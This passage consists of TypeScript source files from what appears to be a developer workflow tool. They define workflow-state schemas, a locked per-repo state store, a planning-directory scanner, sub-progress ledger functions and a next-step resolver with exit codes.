auto_transition: Type.Optional(Type.Boolean()),\n    // Phase 14 — compaction digest: cumulative summary of resolved sub-progress\n    // entries evicted by `compact`. Additive-optional (NO schemaVersion bump; old\n    // files without it still Value.Check-pass). Keeps a readable trace after\n    // eviction. G6 invariant: entries with fail_count>0 are never evicted, so the\n    // breakLoop signal is never summarized away.\n    compacted_summary: Type.Optional(\n      Type.Object(\n        {\n          evicted: Type.Integer({ minimum: 0 }),\n          by_status: Type.Record(Type.String(), Type.Integer({ minimum: 0 })),\n          last_at: Type.String({ minLength: 1 }),\n        },\n        { additionalProperties: false },\n      ),\n    ),\n    // Phase 22 — smart reminders. Additive-optional flags set by `checkpoint\n    // complete` (allResolved) and read by the G4 inject twins (booleans only; the\n    // bin computes neither git nor thresholds). Old files without them Value.Check-pass\n    // → NO schemaVersion bump.\n    //   ship_ready  — there are unshipped commits since the last vX.Y.Z tag (git-derived,\n    //                 recomputed each completion; self-heals to false after a release).\n    //   ship_commits — commit count since that tag (feeds the SHIP-READY hint text).\n    //   retro_due   — phases_since_retro (store sidecar) has crossed the threshold;\n    //                 cleared by `harnessed retro --done`.\n    ship_ready: Type.Optional(Type.Boolean()),\n    ship_commits: Type.Optional(Type.Integer({ minimum: 0 })),\n    retro_due: Type.Optional(Type.Boolean()),\n  },\n  { additionalProperties: false },\n)\n\nexport type CurrentWorkflowV1Type = Static<typeof CurrentWorkflowV1>\nexport type SubProgressEntryType = Static<typeof SubProgressEntry>\nexport type EvidenceRefType = Static<typeof EvidenceRef>\n","// Phase 3.1 Wave 1 T1.2 — barrel for checkpoint schemas (CD-5 modular sister\n// of `src/manifest/schema/spec.ts`).\nexport * from './checkpoint.v1.js'\nexport * from './currentWorkflow.v1.js'\n","// Phase 15 — per-repo multi-workflow store. The global singleton\n// `current-workflow.json` is replaced by `workflows.json`, a map of\n// repo-root → CurrentWorkflowV1 envelope. state.ts rewires its read/write\n// kernels to the active repo's slot (behind-API: the 17 call sites + the\n// envelope schema are unchanged). These kernels are lock-FREE — all locking\n// stays in state.ts (sister: writeCurrentWorkflowUnlocked).\n//\n// Fixes the reverted rogue impl (F4 bolt-on cold index / F5 stale index) by\n// construction: this store IS the sole SoT, reached through one write path.\n\nimport { existsSync } from 'node:fs'\nimport { mkdir, readFile } from 'node:fs/promises'\nimport { dirname, join, resolve } from 'node:path'\nimport { type Static, Type } from '@sinclair/typebox'\nimport { Value } from '@sinclair/typebox/value'\nimport { harnessedFile } from '../installers/lib/harnessedRoot.js'\nimport { detectPlatform } from '../installers/lib/platform.js'\nimport { SCHEMA_VERSIONS } from '../types/schemaVersion.js'\nimport { writeFileAtomic } from './atomicWrite.js'\nimport { CurrentWorkflowV1, type CurrentWorkflowV1Type } from './schema/currentWorkflow.v1.js'\n\n/** Phase 22 — per-repo retro cadence sidecar. Lives at the STORE level (NOT the\n *  envelope) because `activate()` writes a fresh envelope each phase and would\n *  reset an envelope-stored counter. Keyed by repoKey, mirroring `workflows`.\n *  `phases_since_retro` increments on each allResolved `checkpoint complete`;\n *  `harnessed retro --done` zeroes it + stamps `last_retro_at`. */\nexport const RetroMetaEntry = Type.Object(\n  {\n    phases_since_retro: Type.Integer({ minimum: 0 }),\n    last_retro_at: Type.Optional(Type.String({ minLength: 1 })),\n  },\n  { additionalProperties: false },\n)\nexport type RetroMetaEntryType = Static<typeof RetroMetaEntry>\n\nexport const WorkflowStoreV1 = Type.Object(\n  {\n    schemaVersion: Type.Literal(SCHEMA_VERSIONS.workflowStore),\n    workflows: Type.Record(Type.String(), CurrentWorkflowV1),\n    // Additive-optional (no schemaVersion bump — old stores Value.Check-pass).\n    retro_meta: Type.Optional(Type.Record(Type.String(), RetroMetaEntry)),\n  },\n  { additionalProperties: false },\n)\nexport type WorkflowStoreV1Type = Static<typeof WorkflowStoreV1>\n\nfunction storePath(): string {\n  return harnessedFile('workflows.json')\n}\nfunction legacyPath(): string {\n  return harnessedFile('current-workflow.json')\n}\n\nfunction emptyStore(): WorkflowStoreV1Type {\n  return { schemaVersion: SCHEMA_VERSIONS.workflowStore, workflows: {} }\n}\n\n/** Pure fs walk-up: the repo key is the nearest ancestor of `cwd` containing a\n *  `.git` entry; falls back to the resolved `cwd` when there is none. No `git`\n *  subprocess — deterministic and unit-testable. */\nexport function repoKey(cwd: string = process.cwd()): string {\n  let dir = resolve(cwd)\n  // walk up to the filesystem root\n  for (;;) {\n    if (existsSync(join(dir, '.git'))) return dir\n    const parent = dirname(dir)\n    if (parent === dir) break\n    dir = parent\n  }\n  return resolve(cwd)\n}\n\n/** Phase 34 (Spec 2/D) — session-scoped composite key. Overlays the active\n *  harness's session dimension onto the per-repo store key so two concurrent\n *  sessions in one repo hold independent workflow slots. `<repoKey>::<sessionId>`\n *  when the active platform exposes a session-id env (and it is set); the bare\n *  `repoKey` (byte-identical single-session path) otherwise. The store value type\n *  is unchanged — a composite key is just a legal `Record<string,…>` map-key, so\n *  no schema bump.\n *\n *  Phase 35 — the session-id env NAME is resolved through the PlatformDescriptor\n *  seam (`detectPlatform().sessionIdEnv`), NOT hardcoded, so the harness stays\n *  cross-harness (claude → `CLAUDE_CODE_SESSION_ID`; codex → `null` →\n *  single-session). (CC exposes the id to Bash-invoked CLI + hooks; subagents\n *  inherit the parent's id → same slot.) */\nexport function activeKey(cwd: string = process.cwd()): string {\n  const base = repoKey(cwd)\n  const envName = detectPlatform().sessionIdEnv\n  const sid = envName ? process.env[envName]?.trim() : undefined\n  return sid ? `${base}::${sid}` : base\n}\n\n/** Lock-FREE read. Returns the parsed store when `workflows.json` exists+valid.\n *  Otherwise, when a legacy singleton `current-workflow.json` exists+valid,\n *  surfaces it IN MEMORY under repoKey(cwd) (compat-read, D5) WITHOUT writing —\n *  reads stay side-effect-free; the migration persists on the next locked write.\n *  Empty store when neither is present/valid. */\nexport async function readStoreRaw(): Promise<WorkflowStoreV1Type> {\n  try {\n    const parsed = JSON.parse(await readFile(storePath(), 'utf8'))\n    if (Value.Check(WorkflowStoreV1, parsed)) return parsed as WorkflowStoreV1Type\n  } catch {\n    // missing or corrupt store → try legacy fallback below\n  }\n  try {\n    const legacy = JSON.parse(await readFile(legacyPath(), 'utf8'))\n    if (Value.Check(CurrentWorkflowV1, legacy)) {\n      return {\n        schemaVersion: SCHEMA_VERSIONS.workflowStore,\n        workflows: { [repoKey()]: legacy as CurrentWorkflowV1Type },\n      }\n    }\n  } catch {\n    // no legacy either\n  }\n  return emptyStore()\n}\n\n/** Lock-FREE atomic write of the whole store. Caller holds the lock. */\nexport async function writeStoreRaw(store: WorkflowStoreV1Type): Promise<void> {\n  if (!Value.Check(WorkflowStoreV1, store)) {\n    const errs = [...Value.Errors(WorkflowStoreV1, store)].map((e) => e.message).join('; ')\n    throw new Error(`workflow-store schema validation failed: ${errs}`)\n  }\n  const p = storePath()\n  await mkdir(dirname(p), { recursive: true })\n  await writeFileAtomic(p, JSON.stringify(store, null, 2))\n}\n\n/** All in-flight workflows (one per repo). */\nexport async function listWorkflows(): Promise<{ key: string; phase: string; status: string }[]> {\n  const store = await readStoreRaw()\n  return Object.entries(store.workflows).map(([key, wf]) => ({\n    key,\n    phase: wf.phase,\n    status: wf.status,\n  }))\n}\n","// Phase 3.1 W1 T1.3 — workflow state machine (D-02 KARPATHY 3-state, no FSM\n// lib). Sister of `src/workflow/loadPhases.ts` (Value.Check validate-and-throw).\n// Persists singleton state to `<harnessed-root>/current-workflow.json`. Hard limit\n// ≤ 80L per D-02 (3 transitions + read/write helpers).\n// Phase 5.1 W2 T2.2 — R10.2 concurrent write lock (D-05+D-06+D-07+D-08 LOCKED)\n// proper-lockfile dir-level lock `<harnessed-root>/.lock` wraps writeCurrentWorkflow.\n// W-01 PLAN-CHECK Path A: state.ts self-locks; engineHook acquires transitively.\n//\n// v3.0.3 hotfix — state + lock path migrated from `<cwd>/.harnessed/...` to\n// `<homedir>/.harnessed/...` via `getHarnessedRoot()` SoT. Sister v2.0.1\n// backup-root migration verbatim — EPERM-free when user CWD is read-only.\n\nimport { mkdir } from 'node:fs/promises'\nimport { Value } from '@sinclair/typebox/value'\nimport lockfile from 'proper-lockfile'\nimport { getHarnessedRoot, harnessedFile } from '../installers/lib/harnessedRoot.js'\nimport { SCHEMA_VERSIONS } from '../types/schemaVersion.js'\nimport { writeFileAtomic } from './atomicWrite.js'\nimport {\n  CurrentWorkflowV1,\n  type CurrentWorkflowV1Type,\n  type SubProgressEntryType,\n} from './schema/index.js'\nimport {\n  activeKey,\n  readStoreRaw,\n  repoKey,\n  type WorkflowStoreV1Type,\n  writeStoreRaw,\n} from './workflowStore.js'\n\n// v3.0.3 — lazy path resolution so HARNESSED_ROOT_OVERRIDE in e2e tests\n// applies before the first write (module-level const captured the path\n// at import time, before the test set the env var).\nfunction statePath(): string {\n  return harnessedFile('current-workflow.json')\n}\nfunction lockTarget(): string {\n  return getHarnessedRoot()\n}\nfunction lockOpts() {\n  return {\n    stale: 10_000,\n    retries: { retries: 3, factor: 2, minTimeout: 100 },\n    lockfilePath: harnessedFile('.lock'),\n  }\n}\n\nexport class WorkflowStateError extends Error {\n  constructor(message: string) {\n    super(message)\n    this.name = 'WorkflowStateError'\n  }\n}\n\n/** Thrown when another harnessed process holds the harness-root `.lock` (D-06 LOCKED). */\nexport class LockHeldError extends Error {\n  constructor() {\n    super(\n      `another harnessed process holds the lock at ${harnessedFile('.lock')} — wait or kill stale process (try: harnessed status)`,\n    )\n    this.name = 'LockHeldError'\n    Object.setPrototypeOf(this, LockHeldError.prototype)\n  }\n}\n\n/** Acquire dir-level lock then run fn(); release in finally (D-05+D-06+D-08).\n *  v3.0.3: lock target is the homedir-rooted harness root (ensures the lock\n *  directory exists before proper-lockfile tries to write `.lock` into it —\n *  proper-lockfile will fail if the lockfilePath parent does not exist). */\nasync function withLock<T>(fn: () => Promise<T>): Promise<T> {\n  const target = lockTarget()\n  // Ensure the harness root exists before proper-lockfile tries to write.\n  await mkdir(target, { recursive: true })\n  let release: (() => Promise<void>) | undefined\n  try {\n    release = await lockfile.lock(target, lockOpts())\n  } catch (e) {\n    if ((e as NodeJS.ErrnoException).code === 'ELOCKED') throw new LockHeldError()\n    throw e\n  }\n  try {\n    return await fn()\n  } finally {\n    await release?.()\n  }\n}\n\n/** Read state; returns null on missing/corrupt/unknown-version (CD-5 rule (b)\n *  fail-soft). Throws only via writeCurrentWorkflow on known-version drift. */\nexport async function readCurrentWorkflow(): Promise<CurrentWorkflowV1Type | null> {\n  // Phase 15 — resolve the active repo's slot from the per-repo multi-workflow\n  // store. readStoreRaw validates the store (each slot is a CurrentWorkflowV1)\n  // and transparently surfaces a legacy singleton in-memory (compat-read, D5),\n  // so the CD-5 fail-soft null behavior is preserved.\n  const store = await readStoreRaw()\n  // Phase 34 (Spec 2/D) — prefer this session's composite slot; fall back to the\n  // bare repoKey slot so an in-flight workflow started without session-scoping\n  // (or surfaced by readStoreRaw's legacy compat-read under repoKey) stays\n  // visible. With no session id, activeKey()===repoKey() → the fallback branch is\n  // redundant and the path is byte-identical to the pre-Phase-34 single slot.\n  return store.workflows[activeKey()] ?? store.workflows[repoKey()] ?? null\n}\n\n/** Lock-FREE write kernel: self-validate (loadPhases.ts pattern) + create parent\n *  dir + atomic write. The caller MUST already hold the dir-level lock — this is\n *  the shared inner body of `writeCurrentWorkflow` (lock → kernel) and\n *  `mutateSubProgress` (lock → read → fn → kernel). Keeping it lock-free is what\n *  lets `mutateSubProgress` do a single-lock read-modify-write without the\n *  double-lock deadlock that proper-lockfile (non-reentrant) would otherwise\n *  cause (pre-v4 review C5 lost-update fix). */\nasync function writeCurrentWorkflowUnlocked(s: CurrentWorkflowV1Type): Promise<void> {\n  if (!Value.Check(CurrentWorkflowV1, s)) {\n    const errs = [...Value.Errors(CurrentWorkflowV1, s)].map((e) => e.message).join('; ')\n    throw new WorkflowStateError(`current-workflow schema validation failed: ${errs}`)\n  }\n  // Phase 15 — write into the active repo's slot in the per-repo store. The\n  // store IS the SoT (one write path → no stale-index drift; fixes rogue F4/F5).\n  const store = await readStoreRaw()\n  // Phase 34 — write into this session's composite slot (bare repoKey when no\n  // session id). No migration of a pre-existing bare slot: the read-fallback\n  // covers it until this session-keyed slot exists, then shadows it.\n  store.workflows[activeKey()] = s\n  await writeStoreRaw(store)\n  // D7 dual-write — mirror the active repo's envelope to the legacy singleton\n  // as a one-release rollback anchor (a code revert still finds current data).\n  // The harness-root dir already exists (withLock mkdir + writeStoreRaw mkdir).\n  await writeFileAtomic(statePath(), JSON.stringify(s, null, 2))\n}\n\n/** Write state with self-validate (loadPhases.ts pattern); creates parent dir;\n *  acquires dir-level lock (D-05+D-08) before writeFile (R10.2 concurrent safety). */\nexport async function writeCurrentWorkflow(s: CurrentWorkflowV1Type): Promise<void> {\n  await withLock(() => writeCurrentWorkflowUnlocked(s))\n}\n\n/** v5.0 Spec 1 (ADR-0033) — atomic read-modify-write of the sub-progress ledger.\n *  The read + transform + write happen inside a SINGLE `withLock` so concurrent\n *  `checkpoint complete`/`fail` calls cannot lost-update each other (pre-v4 review\n *  C5: locking only the write, not the read, drops the loser's update).\n *\n *  `fn` receives the current ledger array (`sub_progress ?? []`) and returns the\n *  next array (e.g. a `markSub(...)` result). No-ops if there is no active\n *  workflow record (nothing seeded yet) — returns silently, sister to\n *  `pause()`/`complete()` graceful no-op. */\nexport async function mutateSubProgress(\n  fn: (entries: SubProgressEntryType[]) => SubProgressEntryType[],\n): Promise<void> {\n  await withLock(async () => {\n    const s = await readCurrentWorkflow()\n    if (!s) return\n    const next = fn(s.sub_progress ?? [])\n    await writeCurrentWorkflowUnlocked({ ...s, sub_progress: next })\n  })\n}\n\n/** Phase 22 — locked read-modify-write of the WHOLE per-repo store (used for the\n *  `retro_meta` sidecar, which lives at the store level so it survives the fresh\n *  envelope `activate()` writes each phase). Single `withLock` read→fn→write so it\n *  cannot lost-update a concurrent envelope write. No-op-safe: `fn` gets the parsed\n *  store (empty when none) and returns the next store. */\nexport async function mutateStore(\n  fn: (store: WorkflowStoreV1Type) => WorkflowStoreV1Type,\n): Promise<void> {\n  await withLock(async () => {\n    const store = await readStoreRaw()\n    await writeStoreRaw(fn(store))\n  })\n}\n\n/** Transition 1/3 — start a new workflow for `phase`. */\nexport async function activate(phase: string, checkpointPath: string | null = null): Promise<void> {\n  await writeCurrentWorkflow({\n    schemaVersion: SCHEMA_VERSIONS.currentWorkflow,\n    phase,\n    status: 'active',\n    last_checkpoint_path: checkpointPath,\n    started_at: new Date().toISOString(),\n  })\n}\n\n/** Transition 2/3 — pause active workflow; preserves started_at. */\nexport async function pause(): Promise<void> {\n  const s = await readCurrentWorkflow()\n  if (!s) return\n  await writeCurrentWorkflow({ ...s, status: 'paused', paused_at: new Date().toISOString() })\n}\n\n/** Transition 3/3 — complete active/paused workflow; preserves timestamps. */\nexport async function complete(): Promise<void> {\n  const s = await readCurrentWorkflow()\n  if (!s) return\n  await writeCurrentWorkflow({ ...s, status: 'complete', completed_at: new Date().toISOString() })\n}\n","// src/checkpoint/planningScan.ts — v12.0 Forward Continuation (Phase 37, D2). The\n// impure, best-effort disk reader that assembles the PlanningSnapshot the pure\n// resolver (deriveNext.ts, D1) consumes. Mirrors injectState.ts:findPhaseContextExcerpt\n// — graceful (try/catch → safe empty), repoRoot-injectable, sync fs only.\n//\n// \"harnessed-native scan as the floor\" (spec §3.2): the disk-reconciliation rule is\n// a simple boolean (plans>0 && summaries>=plans). gsd_run query acceleration is a\n// later wave (W3/P39), NOT here — this stays self-contained so AC8 (no GSD) holds.\n\nimport { existsSync, readdirSync, readFileSync } from 'node:fs'\nimport { join } from 'node:path'\nimport type { PhaseSnapshot, PlanningSnapshot, TaskSnapshot } from './deriveNext.js'\nimport type { CurrentWorkflowV1Type } from './schema/currentWorkflow.v1.js'\n\nexport interface ScanOptions {\n  /** repo root holding .planning/ (default process.cwd()). */\n  repoRoot?: string\n  /** the current-workflow envelope (branch-1 ledger). Injectable for tests; the\n   *  W2 CLI passes the value read via readCurrentWorkflow. null → no active sub. */\n  currentWorkflow?: CurrentWorkflowV1Type | null\n  /** OQ-2 stretch — scan task_plan/progress checkboxes for incomplete phases.\n   *  Default false (phase-level advance is the W1 floor). */\n  includeTasks?: boolean\n}\n\n/** Matches NN-rest or NN.M-rest phase dir names (e.g. 16-alpha, 16.1-hotfix). */\nconst PHASE_DIR = /^(\\d+(?:\\.\\d+)?)-(.*)$/\n\n/**\n * Assemble the disk snapshot for deriveNext. Best-effort: a missing .planning/ or\n * any unreadable file yields a safe-empty snapshot (never throws) so the engine\n * degrades to `done` rather than crashing (AC8).\n */\nexport function scanPlanning(opts: ScanOptions = {}): PlanningSnapshot {\n  const repoRoot = opts.repoRoot ?? process.cwd()\n  const wf = opts.currentWorkflow ?? null\n  return {\n    subProgress: wf?.sub_progress ?? [],\n    currentPhase: wf?.phase ?? null,\n    phases: scanPhases(repoRoot, opts.includeTasks ?? false),\n  }\n}\n\n/** Scan phases/NN-name dirs, deriving per-phase plan/summary counts and\n *  completion. Returns [] when the dir is absent/unreadable (graceful). Sorted\n *  ascending by numeric NN (decimal-aware for mid-insertion). */\nfunction scanPhases(repoRoot: string, includeTasks: boolean): PhaseSnapshot[] {\n  try {\n    const phasesDir = join(repoRoot, '.planning', 'phases')\n    if (!existsSync(phasesDir)) return []\n    const out: PhaseSnapshot[] = []\n    for (const dir of readdirSync(phasesDir)) {\n      const m = PHASE_DIR.exec(dir)\n      const num = m?.[1]\n      if (!num) continue\n      const dirPath = join(phasesDir, dir)\n      let entries: string[]\n      try {\n        entries = readdirSync(dirPath)\n      } catch {\n        continue // not a dir / unreadable → skip\n      }\n      let plans = 0\n      let summaries = 0\n      const prefix = `${num}-`\n      for (const f of entries) {\n        // require the file's leading NN- to match this phase so decimal phases\n        // (16.1-) never leak into the integer phase (16-) and vice versa.\n        if (!f.startsWith(prefix)) continue\n        if (f.endsWith('-PLAN.md')) plans++\n        else if (f.endsWith('-SUMMARY.md')) summaries++\n      }\n      const complete = plans > 0 && summaries >= plans\n      const phase: PhaseSnapshot = {\n        phase: num,\n        name: m?.[2] ?? '',\n        plans,\n        summaries,\n        complete,\n        order: Number.parseFloat(num),\n      }\n      if (includeTasks && !complete) phase.tasks = scanTasks(dirPath)\n      out.push(phase)\n    }\n    out.sort((a, b) => a.order - b.order)\n    return out\n  } catch {\n    return []\n  }\n}\n\n/** Best-effort first-unchecked-task scan (OQ-2 stretch). Looks at task_plan.md\n *  then progress.md for the first \"- [ ]\" line. Unreadable → null. */\nfunction scanTasks(dirPath: string): TaskSnapshot {\n  for (const fname of ['task_plan.md', 'progress.md']) {\n    try {\n      const p = join(dirPath, fname)\n      if (!existsSync(p)) continue\n      const m = /^[ \\t]*- \\[ \\]\\s+(.+)$/m.exec(readFileSync(p, 'utf8'))\n      const task = m?.[1]\n      if (task) return { nextUnchecked: task.trim() }\n    } catch {\n      // unreadable → keep looking / graceful null\n    }\n  }\n  return { nextUnchecked: null }\n}\n","// src/checkpoint/ledger.ts — pure ledger functions (NO I/O) over the v5.0\n// sub-progress ledger (ADR-0033 D1). seedLedger maps a `harnessed gates` JSON\n// plan into the ledger; markSub returns a new array with one entry flipped;\n// nextPending finds the first still-pending sub.\n//\n// Per STATE-MACHINE-CORE-DESIGN.md §9 component isolation: this file depends on\n// schema TYPES only — zero fs/crypto/yaml, zero CLI imports. All fs/crypto lives\n// in evidence.ts; orchestration lives in checkpoint.ts.\n\nimport type { EvidenceRefType, SubProgressEntryType } from './schema/currentWorkflow.v1.js'\n\n/** A single fired sub in the `gates` plan. Mirrors gates.ts FireEntry. */\nexport interface GatesPlanFireEntry {\n  sub: string\n  order?: number\n  mode?: string\n  gate?: string\n  is_master?: boolean\n}\n\n/** A single skipped sub in the `gates` plan. Mirrors gates.ts SkipEntry. */\nexport interface GatesPlanSkipEntry {\n  sub: string\n  reason: string\n}\n\n/** The `harnessed gates <master>` JSON plan (verbatim). Local interface — does\n *  NOT import the CLI layer. */\nexport interface GatesPlan {\n  master?: string\n  fire: GatesPlanFireEntry[]\n  skip: GatesPlanSkipEntry[]\n  parallelism?: { escalate_to_teams: boolean; reason: string | null }\n}\n\nexport type SubStatus = SubProgressEntryType['status']\n\nexport interface MarkSubOpts {\n  evidence?: EvidenceRefType[]\n  evidence_status?: SubProgressEntryType['evidence_status']\n}\n\n/** Seed the ledger from a `harnessed gates` plan (Q5 seed-upfront). Fired subs\n *  become `pending` (gate_fired:true); skipped subs become `skipped`\n *  (gate_fired:false) carrying their reason. Fire entries are emitted first,\n *  sorted by `order` (entries without an order keep their input position via a\n *  stable sort); skip entries follow in input order. */\nexport function seedLedger(plan: GatesPlan): SubProgressEntryType[] {\n  const fireEntries = plan.fire.map(\n    (f, i): { order: number; idx: number; entry: SubProgressEntryType } => ({\n      // missing order → Infinity so explicitly-ordered subs sort ahead while\n      // unordered ones retain relative input order (stabilized by idx).\n      order: f.order ?? Number.POSITIVE_INFINITY,\n      idx: i,\n      entry: { sub: f.sub, status: 'pending', gate_fired: true },\n    }),\n  )\n  fireEntries.sort((a, b) => a.order - b.order || a.idx - b.idx)\n\n  const skipEntries = plan.skip.map(\n    (s): SubProgressEntryType => ({\n      sub: s.sub,\n      status: 'skipped',\n      gate_fired: false,\n      reason: s.reason,\n    }),\n  )\n\n  return [...fireEntries.map((e) => e.entry), ...skipEntries]\n}\n\n/** Return a NEW ledger array with the named sub's entry flipped to `status`,\n *  optionally attaching evidence + evidence_status. Input array and its entries\n *  are never mutated. Throws if `sub` is not present in the ledger. */\nexport function markSub(\n  entries: SubProgressEntryType[],\n  sub: string,\n  status: SubStatus,\n  opts?: MarkSubOpts,\n): SubProgressEntryType[] {\n  const idx = entries.findIndex((e) => e.sub === sub)\n  if (idx === -1) {\n    throw new Error(\n      `markSub: sub '${sub}' not found in ledger (${entries.length} entries). ` +\n        'It must be seeded before it can be marked.',\n    )\n  }\n  const current = entries[idx] as SubProgressEntryType\n  const updated: SubProgressEntryType = { ...current, status }\n  // G6 — count repeated failures of the same sub (drives detectLoop). Only the\n  // ->failed transition bumps the counter; other transitions carry it forward.\n  if (status === 'failed') updated.fail_count = (current.fail_count ?? 0) + 1\n  if (opts?.evidence !== undefined) updated.evidence = opts.evidence\n  if (opts?.evidence_status !== undefined) updated.evidence_status = opts.evidence_status\n\n  const next = entries.slice()\n  next[idx] = updated\n  return next\n}\n\n/** First sub still awaiting work (status === 'pending'), or null when none\n *  remain. Skipped/done/failed entries are ignored. */\nexport function nextPending(entries: SubProgressEntryType[]): string | null {\n  return entries.find((e) => e.status === 'pending')?.sub ?? null\n}\n","// src/checkpoint/deriveNext.ts — v12.0 Forward Continuation (Phase 37, D1). Pure\n// resolver (schema-type-only, no I/O) over a disk snapshot assembled by the impure\n// reader (planningScan.ts, D2). Mirrors nextStep.ts's resolver style: the snapshot\n// is passed in so this stays testable without fs.\n//\n// \"Derive, don't queue\" (spec §3.1): the next unit is recomputed from .planning/\n// disk state each call — no stored FIFO. The pointer is stateless = first-incomplete\n// unit (oh-my-pi). A stale current_phase that over-ran a dead session is NOT trusted;\n// disk reconciliation (PLAN > SUMMARY) wins (gsd-core next.md Route 0 / spec AC3).\n\nimport { nextPending } from './ledger.js'\nimport type { SubProgressEntryType } from './schema/currentWorkflow.v1.js'\n\n/** Per-phase artifact-derived status (one phases/NN-name dir). */\nexport interface PhaseSnapshot {\n  /** the leading NN numeric prefix as a string, e.g. \"16\" or \"16.1\". */\n  phase: string\n  /** the dir's name suffix (after the NN- prefix), best-effort human label. */\n  name: string\n  /** count of NN-...-PLAN.md files. */\n  plans: number\n  /** count of NN-...-SUMMARY.md files. */\n  summaries: number\n  /** artifact-derived completion: plans > 0 && summaries >= plans (spec §3.3). */\n  complete: boolean\n  /** numeric sort key (parseFloat of NN) — supports decimal mid-insertion (16.1). */\n  order: number\n  /** OQ-2 stretch — task-level checkbox scan (only populated when includeTasks). */\n  tasks?: TaskSnapshot\n}\n\n/** OQ-2 stretch — the active phase's task checkboxes (best-effort). */\nexport interface TaskSnapshot {\n  /** first unchecked \"- [ ]\" task text, or null when none / all checked. */\n  nextUnchecked: string | null\n}\n\n/** The disk snapshot D1 consumes. Assembled by planningScan (D2). */\nexport interface PlanningSnapshot {\n  /** current-workflow sub-progress ledger (branch 1 / AC9). */\n  subProgress: SubProgressEntryType[]\n  /** the workflow phase pointer — informational ONLY; NEVER routed on (AC3). */\n  currentPhase: string | null\n  /** all phases, sorted ascending by order. */\n  phases: PhaseSnapshot[]\n}\n\n/** The next work unit. Discriminated union on `kind` (first-match-wins). Exported\n *  for reuse by the W2 surface (harnessed next / advance). */\nexport type NextUnit =\n  | { kind: 'sub'; sub: string } // (1) current workflow has a pending sub\n  | { kind: 'task'; phase: string; task: string } // (2) current phase has an unchecked task\n  | { kind: 'phase'; phase: string; name: string } // (3) first incomplete phase\n  | { kind: 'blocked'; unit: string; reason: string } // a unit failed / needs a decision\n  | { kind: 'done' } // all phases + tasks complete\n\n/**\n * Resolve the next work unit from a disk snapshot. First match wins, in the\n * spec-D1 order: pending sub → blocked (failed sub) → unchecked task → first\n * incomplete phase → done.\n */\nexport function deriveNext(snapshot: PlanningSnapshot): NextUnit {\n  // (1) intra-workflow: a mid-flight sub takes precedence (backward-compat, AC9).\n  const pendingSub = nextPending(snapshot.subProgress)\n  if (pendingSub !== null) return { kind: 'sub', sub: pendingSub }\n\n  // blocked: the current workflow died on a failed sub (no pending left, but a\n  // failure was recorded). Fail-CLOSED — a human decides before forward advance.\n  const failed = snapshot.subProgress.find((e) => e.status === 'failed' && (e.fail_count ?? 0) > 0)\n  if (failed) {\n    return {\n      kind: 'blocked',\n      unit: failed.sub,\n      reason: `sub '${failed.sub}' failed ${failed.fail_count}x — resolve before advancing`,\n    }\n  }\n\n  // forward continuation: first incomplete phase by NN order (disk beats pointer).\n  const firstIncomplete = snapshot.phases.find((p) => !p.complete)\n  if (firstIncomplete) {\n    // (2) task-level granularity (OQ-2 stretch) — an unchecked task in this phase.\n    const task = firstIncomplete.tasks?.nextUnchecked\n    if (task) return { kind: 'task', phase: firstIncomplete.phase, task }\n    // (3) phase-level advance (the high-value floor).\n    return { kind: 'phase', phase: firstIncomplete.phase, name: firstIncomplete.name }\n  }\n\n  // (5) every phase complete and no pending/failed work.\n  return { kind: 'done' }\n}\n","// src/checkpoint/forwardStep.ts — v12.0 Forward Continuation (Phase 38, W2). Pure\n// surface resolvers shared by `harnessed next` (D3 read-only preview) and\n// `harnessed advance` (D4 act + gate). Maps the deriveNext NextUnit (D1) onto the\n// cross-unit print contract + exit-code contract, so the thin CLI action handlers\n// (next.ts / advance.ts) stay testable without process.exit / fs.\n//\n// Exit-code contract (spec §4 D3, gsd-pi headless style — driver-distinguishable):\n//   0  next unit available (advance)      2  all complete (done)\n//   10 blocked (human decision needed)    1  error (raised by the CLI handler)\n// advance adds: 11 gate-reject — refuse to skip an earlier incomplete phase (comet).\n\nimport { deriveNext, type NextUnit, type PlanningSnapshot } from './deriveNext.js'\n\nexport type ForwardExitCode = 0 | 2 | 10 | 11\n\n/** Machine-readable shape for `harnessed advance --json` (spec §4 D4 driver loop). */\nexport interface ForwardJson {\n  next: string\n  unit: string | null\n  hint: string | null\n}\n\nexport interface ForwardStep {\n  next: 'advance' | 'blocked' | 'done'\n  unit: NextUnit\n  exitCode: ForwardExitCode\n  lines: string[]\n  json: ForwardJson\n}\n\nexport interface AdvanceStep {\n  next: 'advance' | 'blocked' | 'done' | 'gate-reject'\n  unit: NextUnit\n  exitCode: ForwardExitCode\n  lines: string[]\n  json: ForwardJson\n}\n\n/** Human label for a unit's UNIT: line (null when there is nothing to point at). */\nexport function describeUnit(unit: NextUnit): string | null {\n  switch (unit.kind) {\n    case 'phase':\n      return `phase ${unit.phase} '${unit.name}'`\n    case 'task':\n      return `task '${unit.task}' in phase ${unit.phase}`\n    case 'sub':\n      return `sub '${unit.sub}'`\n    case 'blocked':\n      return unit.unit\n    case 'done':\n      return null\n  }\n}\n\n/** Count of phases still incomplete — drives the HINT \"N phases remain\". */\nfunction remainingPhases(snapshot: PlanningSnapshot): number {\n  return snapshot.phases.filter((p) => !p.complete).length\n}\n\nfunction pluralPhases(n: number): string {\n  return `${n} phase${n === 1 ? '' : 's'} remain`\n}\n\n/**\n * D3 — resolve the `harnessed next` cross-unit forward step. Called ONLY after the\n * intra-workflow sub-ledger resolved to `done` (next.ts preserves the mid-flight\n * auto|manual|done sub contract before falling through — AC9). Read-only; never gates.\n */\nexport function resolveForwardStep(snapshot: PlanningSnapshot): ForwardStep {\n  const unit = deriveNext(snapshot)\n  switch (unit.kind) {\n    case 'done':\n      return {\n        next: 'done',\n        unit,\n        exitCode: 2,\n        lines: ['NEXT: done'],\n        json: { next: 'done', unit: null, hint: null },\n      }\n    case 'blocked': {\n      const u = describeUnit(unit) ?? unit.unit\n      return {\n        next: 'blocked',\n        unit,\n        exitCode: 10,\n        lines: ['NEXT: blocked', `UNIT: ${u}`, `HINT: ${unit.reason}`],\n        json: { next: 'blocked', unit: u, hint: unit.reason },\n      }\n    }\n    default: {\n      // phase | task | (defensive) sub — a concrete next unit is available.\n      const u = describeUnit(unit) ?? ''\n      const hint = `run /auto (or harnessed advance) to start it — ${pluralPhases(remainingPhases(snapshot))}`\n      return {\n        next: 'advance',\n        unit,\n        exitCode: 0,\n        lines: ['NEXT: advance', `UNIT: ${u}`, `HINT: ${hint}`],\n        json: { next: 'advance', unit: u, hint },\n      }\n    }\n  }\n}\n\ninterface Gate {\n  unit: string\n  reason: string\n  code: ForwardExitCode\n}\n\n/**\n * The comet advance-gate (spec §4 D4 step 2 / §3.5): refuse to step PAST an\n * incomplete unit. Two 